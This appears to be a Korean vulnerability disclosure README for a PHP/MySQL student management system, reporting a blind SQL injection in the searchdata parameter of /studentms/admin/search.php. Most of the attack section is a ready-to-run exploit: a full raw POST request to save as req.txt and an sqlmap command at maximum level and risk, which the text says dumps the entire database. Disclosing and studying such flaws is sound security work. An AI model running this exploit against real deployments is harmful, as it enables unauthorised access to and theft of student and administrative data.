
PHP와 MySQL을 사용한 학생 관리 시스템
학생 관리 시스템(SMS)은 학생 정보를 관리하기 위해 PHP와 MySQL로 개발된 웹 애플리케이션입니다. 이 저장소에는 시스템의 소스 코드와 세부 정보, 그리고 보안 취약점 보고서가 포함되어 있습니다.
감사자:
Shoaib Alam - LinkedIn 프로필
학생 관리 시스템에서 Blind SQL Injection 취약점이 발견되었습니다. 이 문제는 애플리케이션의 검색 기능에 있는 searchdata 매개변수에 영향을 미칩니다.
/studentms/admin/search.phpsearchdatasearchdata 매개변수는 부적절한 입력 검증으로 인해 Blind SQL Injection에 취약합니다. 공격자는 searchdata 입력에 악의적인 SQL 쿼리를 주입하여 이 취약점을 악용할 수 있으며, 이를 통해 데이터베이스 또는 기타 민감한 정보에 대한 무단 접근 권한을 얻을 수 있습니다.
/studentms/admin/search.php
POST /studentms/admin/search.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://localhost
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://localhost/studentms/admin/search.php
Cookie: PHPSESSID=kq90r1jv25kn4flrqd74v1miqd
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
searchdata=*&search=
메모장 또는 텍스트 편집기를 사용하여 위 POST 요청을 req.txt에 저장합니다.
SQLMAP과 같은 도구를 사용하여 다음 명령을 적용해 위 요청을 악용합니다(필요에 따라 사용자 지정 가능): sqlmap -r req.txt --dbs --random-agent --level 3 --risk 3
위 명령은 웹 애플리케이션의 전체 데이터베이스를 덤프합니다.